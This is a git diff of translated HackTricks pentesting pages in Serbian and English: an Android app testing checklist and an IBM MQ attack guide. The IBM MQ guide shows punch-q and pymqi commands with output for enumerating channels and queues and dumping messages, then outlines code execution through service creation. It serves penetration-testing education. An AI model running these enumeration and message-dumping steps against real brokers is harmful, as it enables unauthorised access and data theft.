||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -20,57 +23,57 @@
|
|||
|
||||
***
|
||||
|
||||
### [Naučite osnove Androida](android-app-pentesting/#2-android-application-fundamentals)
|
||||
### [Learn Android fundamentals](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
* [ ] [Osnove](android-app-pentesting/#fundamentals-review)
|
||||
* [ ] [Osnovi](android-app-pentesting/#fundamentals-review)
|
||||
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
|
||||
* [ ] [Ulazne tačke](android-app-pentesting/#application-entry-points)
|
||||
* [ ] [Aktivnosti](android-app-pentesting/#launcher-activity)
|
||||
* [ ] [URL šeme](android-app-pentesting/#url-schemes)
|
||||
* [ ] [URL sheme](android-app-pentesting/#url-schemes)
|
||||
* [ ] [Provajderi sadržaja](android-app-pentesting/#services)
|
||||
* [ ] [Servisi](android-app-pentesting/#services-1)
|
||||
* [ ] [Broadcast prijemnici](android-app-pentesting/#broadcast-receivers)
|
||||
* [ ] [Intenci](android-app-pentesting/#intents)
|
||||
* [ ] [Filteri intenci](android-app-pentesting/#intent-filter)
|
||||
* [ ] [Ostali komponenti](android-app-pentesting/#other-app-components)
|
||||
* [ ] Kako koristiti ADB (Android Debug Bridge)
|
||||
* [ ] Kako izmeniti Smali
|
||||
* [ ] [Intenti](android-app-pentesting/#intents)
|
||||
* [ ] [Filter namena](android-app-pentesting/#intent-filter)
|
||||
* [ ] [Ostale komponente](android-app-pentesting/#other-app-components)
|
||||
* [ ] [Kako koristiti ADB](android-app-pentesting/#adb-android-debug-bridge)
|
||||
* [ ] [Kako modifikovati Smali](android-app-pentesting/#smali)
|
||||
|
||||
### [Statistička analiza](android-app-pentesting/#static-analysis)
|
||||
### [Statička analiza](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] Proverite korišćenje [obfuskacije](android-checklist.md#some-obfuscation-deobfuscation-information), proverite da li je mobilni uređaj rutovan, da li se koristi emulator i proverite anti-tampering provere. [Pročitajte više ovde](android-app-pentesting/#other-checks).
|
||||
* [ ] Osetljive aplikacije (kao što su bankarske aplikacije) treba da provere da li je mobilni uređaj rutovan i da reaguju u skladu sa tim.
|
||||
* [ ] Potražite [interesantne stringove](android-app-pentesting/#looking-for-interesting-info) (šifre, URL-ove, API, enkripciju, backdoor-e, tokene, Bluetooth UUID-ove...).
|
||||
* [ ] Proverite upotrebu [obfuskacije](android-checklist.md#some-obfuscation-deobfuscation-information), proverite da li je mobilni uređaj root-ovan, da li se koristi emulator i provere protiv manipulacije. [Pročitajte ovo za više informacija](android-app-pentesting/#other-checks).
|
||||
* [ ] Osetljive aplikacije (kao što su bankarske aplikacije) treba da provere da li je mobilni uređaj root-ovan i da reaguju u skladu s tim.
|
||||
* [ ] Pretražite [interesantne stringove](android-app-pentesting/#looking-for-interesting-info) (lozinke, URL-ove, API, enkripciju, backdoor-e, tokene, Bluetooth uuids...).
|
||||
* [ ] Posebna pažnja na [firebase ](android-app-pentesting/#firebase)API-je.
|
||||
* [ ] Pročitajte manifest:
|
||||
* [ ] Proverite da li je aplikacija u debug režimu i pokušajte da je "iskoristite"
|
||||
* [ ] Proverite da li APK dozvoljava rezervne kopije
|
||||
* [ ] Izveštaj o aktivnostima
|
||||
* [ ] [Pročitajte manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] Proverite da li je aplikacija u režimu debagovanja i pokušajte da je "iskoristite"
|
||||
* [ ] Proverite da li APK dozvoljava pravljenje rezervnih kopija
|
||||
* [ ] Izvezene aktivnosti
|
||||
* [ ] Provajderi sadržaja
|
||||
* [ ] Izloženi servisi
|
||||
* [ ] Broadcast prijemnici
|
||||
* [ ] URL šeme
|
||||
* [ ] Da li aplikacija [nesigurno čuva podatke interno ili eksterno](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] Da li postoji [šifra hardkodirana ili sačuvana na disku](android-app-pentesting/#poorkeymanagementprocesses)? Da li aplikacija [koristi nesigurne kripto algoritme](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] Da li su sve biblioteke kompajlirane koristeći PIE flag?
|
||||
* [ ] Ne zaboravite da postoji mnoštvo [statičkih Android analizatora](android-app-pentesting/#automatic-analysis) koji vam mogu dosta pomoći tokom ove faze.
|
||||
* [ ] URL sheme
|
||||
* [ ] Da li aplikacija [čuva podatke nesigurno interno ili eksterno](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] Da li postoji neka [lozinka hardkodirana ili sačuvana na disku](android-app-pentesting/#poorkeymanagementprocesses)? Da li aplikacija [koristi nesigurne kripto algoritme](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] Sve biblioteke su kompajlirane koristeći PIE flag?
|
||||
* [ ] Ne zaboravite da postoji mnogo [statičkih Android analitičara](android-app-pentesting/#automatic-analysis) koji vam mogu mnogo pomoći tokom ove faze.
|
||||
|
||||
### [Dinamička analiza](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
* [ ] Pripremite okruženje ([online](android-app-pentesting/#online-dynamic-analysis), [lokalni VM ili fizički](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] Da li postoji [neželjeno curenje podataka](android-app-pentesting/#unintended-data-leakage) (logovanje, kopiranje/lepljenje, dnevnički zapisi o padu)?
|
||||
* [ ] Da li se [poverljive informacije čuvaju u SQLite bazama podataka](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [Iskorišćive izložene aktivnosti](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [Iskorišćivi provajderi sadržaja](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] [Iskorišćivi izloženi servisi](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] [Iskorišćivi broadcast prijemnici](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] Da li aplikacija [prebacuje informacije u čistom tekstu/koristi slabe algoritme](android-app-pentesting/#insufficient-transport-layer-protection)? Da li je moguć MitM napad?
|
||||
* [ ] Pripremite okruženje ([online](android-app-pentesting/#online-dynamic-analysis), [lokalna VM ili fizička](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] Da li postoji neka [neprikazana curenja podataka](android-app-pentesting/#unintended-data-leakage) (logovanje, kopiranje/lepiti, izveštaji o padu)?
|
||||
* [ ] [Poverljive informacije se čuvaju u SQLite bazama](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [Iskoristive izložene aktivnosti](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [Iskoristivi provajderi sadržaja](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] [Iskoristivi izloženi servisi](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] [Iskoristivi broadcast prijemnici](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] Da li aplikacija [prenosi informacije u čistom tekstu/koristi slabe algoritme](android-app-pentesting/#insufficient-transport-layer-protection)? Da li je MitM moguć?
|
||||
* [ ] [Inspekcija HTTP/HTTPS saobraćaja](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] Ovo je veoma važno, jer ako možete da uhvatite HTTP saobraćaj, možete tražiti uobičajene Web ranjivosti (Hacktricks ima dosta informacija o Web ranjivostima).
|
||||
* [ ] Proverite moguće [Android injekcije sa klijentske strane](android-app-pentesting/#android-client-side-injections-and-others) (verovatno će vam pomoći neka statička analiza koda)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Samo Frida, koristite je da biste dobili zanimljive dinamičke podatke iz aplikacije (možda neke šifre...)
|
||||
* [ ] Ovo je zaista važno, jer ako možete da uhvatite HTTP saobraćaj možete da tražite uobičajene Web ranjivosti (Hacktricks ima mnogo informacija o Web ranjivostima).
|
||||
* [ ] Proverite moguće [Android klijentske injekcije](android-app-pentesting/#android-client-side-injections-and-others) (verovatno će neka statička analiza koda pomoći ovde)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Samo Frida, koristite je da dobijete zanimljive dinamičke podatke iz aplikacije (možda neke lozinke...)
|
||||
|
||||
### Informacije o obfuskaciji/Deobfuskaciji
|
||||
### Neke informacije o obfuskaciji/deobfuskaciji
|
||||
|
||||
* [ ] [Pročitajte ovde](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
|
@ -81,14 +84,17 @@
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,43 +1,48 @@
|
|||
# 1414 - Pentesting IBM MQ
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Osnovne informacije
|
||||
## Basic information
|
||||
|
||||
IBM MQ je IBM tehnologija za upravljanje redovima poruka. Kao i druge tehnologije **message broker-a**, posvećena je primanju, skladištenju, obradi i klasifikaciji informacija između proizvođača i potrošača.
|
||||
IBM MQ je IBM tehnologija za upravljanje redovima poruka. Kao i druge **message broker** tehnologije, namenjena je za primanje, skladištenje, obradu i klasifikaciju informacija između proizvođača i potrošača.
|
||||
|
||||
Prema podrazumevanim podešavanjima, **izlaže IBM MQ TCP port 1414**.
|
||||
Ponekad, HTTP REST API može biti izložen na portu **9443**.
|
||||
Metrike (Prometheus) takođe mogu biti pristupljene preko TCP porta **9157**.
|
||||
Podrazumevano, **izlaže IBM MQ TCP port 1414**.
|
||||
Ponekad, HTTP REST API može biti izložen na portu **9443**.
|
||||
Metrike (Prometheus) takođe mogu biti dostupne sa TCP porta **9157**.
|
||||
|
||||
IBM pruža obimnu tehničku dokumentaciju dostupnu na [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).
|
||||
IBM MQ TCP port 1414 može se koristiti za manipulaciju porukama, redovima, kanalima, ... ali **takođe za kontrolu instance**.
|
||||
|
||||
## Alati
|
||||
IBM pruža veliku tehničku dokumentaciju dostupnu na [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).
|
||||
|
||||
Predloženi alat za jednostavno iskorišćavanje je **[punch-q](https://github.com/sensepost/punch-q)**, sa korišćenjem Docker-a. Alat aktivno koristi Python biblioteku `pymqi`.
|
||||
## Tools
|
||||
|
||||
Za ručniji pristup, koristite Python biblioteku **[pymqi](https://github.com/dsuch/pymqi)**. Potrebne su [IBM MQ zavisnosti](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc).
|
||||
Preporučeni alat za jednostavnu eksploataciju je **[punch-q](https://github.com/sensepost/punch-q)**, uz korišćenje Dockera. Alat aktivno koristi Python biblioteku `pymqi`.
|
||||
|
||||
### Instalacija pymqi
|
||||
Za ručniji pristup, koristite Python biblioteku **[pymqi](https://github.com/dsuch/pymqi)**. [IBM MQ dependencies](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) su potrebne.
|
||||
|
||||
Potrebno je instalirati i učitati **IBM MQ zavisnosti**:
|
||||
### Installing pymqi
|
||||
|
||||
1. Kreirajte nalog (IBMid) na [https://login.ibm.com/](https://login.ibm.com/).
|
||||
**IBM MQ dependencies** treba instalirati i učitati:
|
||||
|
||||
1. Napravite nalog (IBMid) na [https://login.ibm.com/](https://login.ibm.com/).
|
||||
2. Preuzmite IBM MQ biblioteke sa [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Za Linux x86_64 to je **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
|
||||
3. Dekompresujte (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
|
||||
4. Pokrenite `sudo ./mqlicense.sh` da biste prihvatili uslove licenci.
|
||||
4. Pokrenite `sudo ./mqlicense.sh` da prihvatite uslove licenci.
|
||||
|
||||
>Ako koristite Kali Linux, izmenite fajl `mqlicense.sh`: uklonite/komentarišite sledeće linije (između linija 105-110):
|
||||
>If you are under Kali Linux, modify the file `mqlicense.sh`: remove/comment the following lines (between lines 105-110):
|
||||
>
|
||||
>```bash
|
||||
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
||||
|
@ -54,47 +59,47 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.
|
|||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
|
||||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
|
||||
```
|
||||
6. Zatim, privremeno dodajte `.so` datoteke u LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **pre** pokretanja drugih alata koji koriste ove zavisnosti.
|
||||
6. Zatim, privremeno dodajte `.so` datoteke u LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **pre** nego što pokrenete druge alate koji koriste ove zavisnosti.
|
||||
|
||||
Zatim možete klonirati projekat [**pymqi**](https://github.com/dsuch/pymqi): on sadrži zanimljive delove koda, konstante, ... Ili možete direktno instalirati biblioteku sa: `pip install pymqi`.
|
||||
Zatim, možete klonirati projekat [**pymqi**](https://github.com/dsuch/pymqi): sadrži zanimljive delove koda, konstante, ... Ili možete direktno instalirati biblioteku sa: `pip install pymqi`.
|
||||
|
||||
### Korišćenje punch-q
|
||||
|
||||
#### Sa Dockerom
|
||||
#### Sa Docker-om
|
||||
|
||||
Jednostavno koristite: `sudo docker run --rm -ti leonjza/punch-q`.
|
||||
|
||||
#### Bez Dockera
|
||||
#### Bez Docker-a
|
||||
|
||||
Klonirajte projekat [**punch-q**](https://github.com/sensepost/punch-q) zatim pratite uputstva za instalaciju (`pip install -r requirements.txt && python3 setup.py install`).
|
||||
Klonirajte projekat [**punch-q**](https://github.com/sensepost/punch-q) zatim pratite uputstvo za instalaciju (`pip install -r requirements.txt && python3 setup.py install`).
|
||||
|
||||
Nakon toga, može se koristiti sa `punch-q` komandom.
|
||||
|
||||
## Enumeracija
|
||||
|
||||
Možete pokušati da nabrojite **ime upravljača redom, korisnike, kanale i redove** sa **punch-q** ili **pymqi**.
|
||||
Možete pokušati da enumerišete **ime menadžera reda, korisnike, kanale i redove** sa **punch-q** ili **pymqi**.
|
||||
|
||||
### Upravljač redom
|
||||
### Menadžer reda
|
||||
|
||||
Ponekad, ne postoji zaštita protiv dobijanja imena upravljača redom:
|
||||
Ponekad, nema zaštite protiv dobijanja imena menadžera reda:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
|
||||
Queue Manager name: MYQUEUEMGR
|
||||
```
|
||||
### Kanali
|
||||
### Channels
|
||||
|
||||
**punch-q** koristi internu (izmenjivu) listu reči da bi pronašao postojeće kanale. Primer korišćenja:
|
||||
**punch-q** koristi internu (modificirajuću) rečnik za pronalaženje postojećih kanala. Primer upotrebe:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
|
||||
"DEV.ADMIN.SVRCONN" exists and was authorised.
|
||||
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
|
||||
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
|
||||
```
|
||||
Dešava se da neki IBM MQ instanci prihvataju **neautentifikovane** MQ zahteve, pa `--username / --password` nije potreban. Naravno, pristupna prava takođe mogu da variraju.
|
||||
Dešava se da neki IBM MQ primerci prihvataju **neautentifikovane** MQ zahteve, tako da `--username / --password` nije potrebno. Naravno, prava pristupa takođe mogu varirati.
|
||||
|
||||
Čim dobijemo jedno ime kanala (ovde: `DEV.ADMIN.SVRCONN`), možemo nabrojati sve ostale kanale.
|
||||
Čim dobijemo jedno ime kanala (ovde: `DEV.ADMIN.SVRCONN`), možemo enumerisati sve ostale kanale.
|
||||
|
||||
Nabrojavanje se može obaviti sa ovim delom koda `code/examples/dis_channels.py` iz **pymqi** biblioteke:
|
||||
Enumeracija se u osnovi može uraditi sa ovim kodom `code/examples/dis_channels.py` iz **pymqi**:
|
||||
```python
|
||||
import logging
|
||||
import pymqi
|
||||
|
@ -131,7 +136,7 @@ logging.info('Found channel `%s`' % channel_name)
|
|||
qmgr.disconnect()
|
||||
|
||||
```
|
||||
... Ali **punch-q** takođe uključuje tu opciju (sa više informacija!).
|
||||
... Ali **punch-q** takođe uključuje taj deo (sa više informacija!).
|
||||
Može se pokrenuti sa:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||||
|
@ -153,9 +158,9 @@ Showing channels with prefix: "*"...
|
|||
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
|
||||
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
|
||||
```
|
||||
### Redovi
|
||||
### Queues
|
||||
|
||||
Postoji odlomak koda sa **pymqi** (`dis_queues.py`), ali **punch-q** omogućava dobijanje više informacija o redovima:
|
||||
Postoji deo koda sa **pymqi** (`dis_queues.py`), ali **punch-q** omogućava da se dobiju više informacija o redovima:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
|
||||
Showing queues with prefix: "*"...
|
||||
|
@ -179,9 +184,9 @@ Showing queues with prefix: "*"...
|
|||
```
|
||||
## Exploit
|
||||
|
||||
### Dumpiranje poruka
|
||||
### Dump messages
|
||||
|
||||
Možete ciljati red(ove)/kanal(e) kako biste ih špijunirali i dumpovali poruke iz njih (operacija bez uništavanja). *Primeri:*
|
||||
Možete ciljati redove/kanale da osluškujete / preuzimate poruke iz njih (nedestruktivna operacija). *Primeri:*
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
|
||||
```
|
||||
|
@ -189,36 +194,36 @@ Možete ciljati red(ove)/kanal(e) kako biste ih špijunirali i dumpovali poruke
|
|||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
|
||||
```
|
||||
**Nemojte se ustručavati da iterirate kroz sve identifikovane redove.**
|
||||
**Ne oklevajte da iterirate kroz sve identifikovane redove.**
|
||||
|
||||
### Izvršenje koda
|
||||
|
||||
> Neke detalje pre nego što nastavimo: IBM MQ se može kontrolisati na više načina: MQSC, PCF, Control Command. Neke opšte liste mogu se pronaći u [IBM MQ dokumentaciji](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmable Command Formats***) je ono na čemu se fokusiramo kako bismo interaktovali udaljeno sa instancom. **punch-q** i dalje **pymqi** se baziraju na PCF interakcijama.
|
||||
> Neki detalji pre nastavka: IBM MQ se može kontrolisati na više načina: MQSC, PCF, Control Command. Neki opšti spiskovi mogu se naći u [IBM MQ dokumentaciji](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programabilni komandni formati***) je ono na čemu se fokusiramo da bismo daljinski interagovali sa instancom. **punch-q** i dalje **pymqi** se zasnivaju na PCF interakcijama.
|
||||
>
|
||||
> Možete pronaći listu PCF komandi:
|
||||
> Možete pronaći spisak PCF komandi:
|
||||
> * [Iz PCF dokumentacije](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), i
|
||||
> * [iz konstanti](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
|
||||
>
|
||||
> Jedna interesantna komanda je `MQCMD_CREATE_SERVICE` i njena dokumentacija je dostupna [ovde](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Kao argument, uzima `StartCommand` koji pokazuje na lokalni program na instanci (primer: `/bin/sh`).
|
||||
> Jedna zanimljiva komanda je `MQCMD_CREATE_SERVICE` i njena dokumentacija je dostupna [ovde](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Kao argument uzima `StartCommand` koji pokazuje na lokalni program na instanci (primer: `/bin/sh`).
|
||||
>
|
||||
> Takođe postoji upozorenje o ovoj komandi u dokumentaciji: *"Pažnja: Ova komanda omogućava korisniku da pokrene proizvoljnu komandu sa mqm ovlašćenjem. Ako su dodeljena prava za korišćenje ove komande, zlonameran ili nepažljiv korisnik može definisati servis koji oštećuje vaš sistem ili podatke, na primer, brisanjem bitnih fajlova."*
|
||||
> Takođe postoji upozorenje o komandi u dokumentaciji: *"Pažnja: Ova komanda omogućava korisniku da izvrši proizvoljnu komandu sa mqm ovlašćenjem. Ako su dodeljena prava za korišćenje ove komande, zlonameran ili nepažljiv korisnik mogao bi definisati servis koji oštećuje vaše sisteme ili podatke, na primer, brisanjem bitnih fajlova."*
|
||||
>
|
||||
> *Napomena: uvek prema IBM MQ dokumentaciji (Administrativni referentni materijal), takođe postoji HTTP endpoint na `/admin/action/qmgr/{qmgrName}/mqsc` za pokretanje ekvivalentne MQSC komande za kreiranje servisa (`DEFINE SERVICE`). Ovaj aspekt još uvek nije obuhvaćen ovde.*
|
||||
> *Napomena: uvek prema IBM MQ dokumentaciji (Referenca za administraciju), postoji i HTTP endpoint na `/admin/action/qmgr/{qmgrName}/mqsc` za izvršenje ekvivalentne MQSC komande za kreiranje servisa (`DEFINE SERVICE`). Ovaj aspekt još nije pokriven ovde.*
|
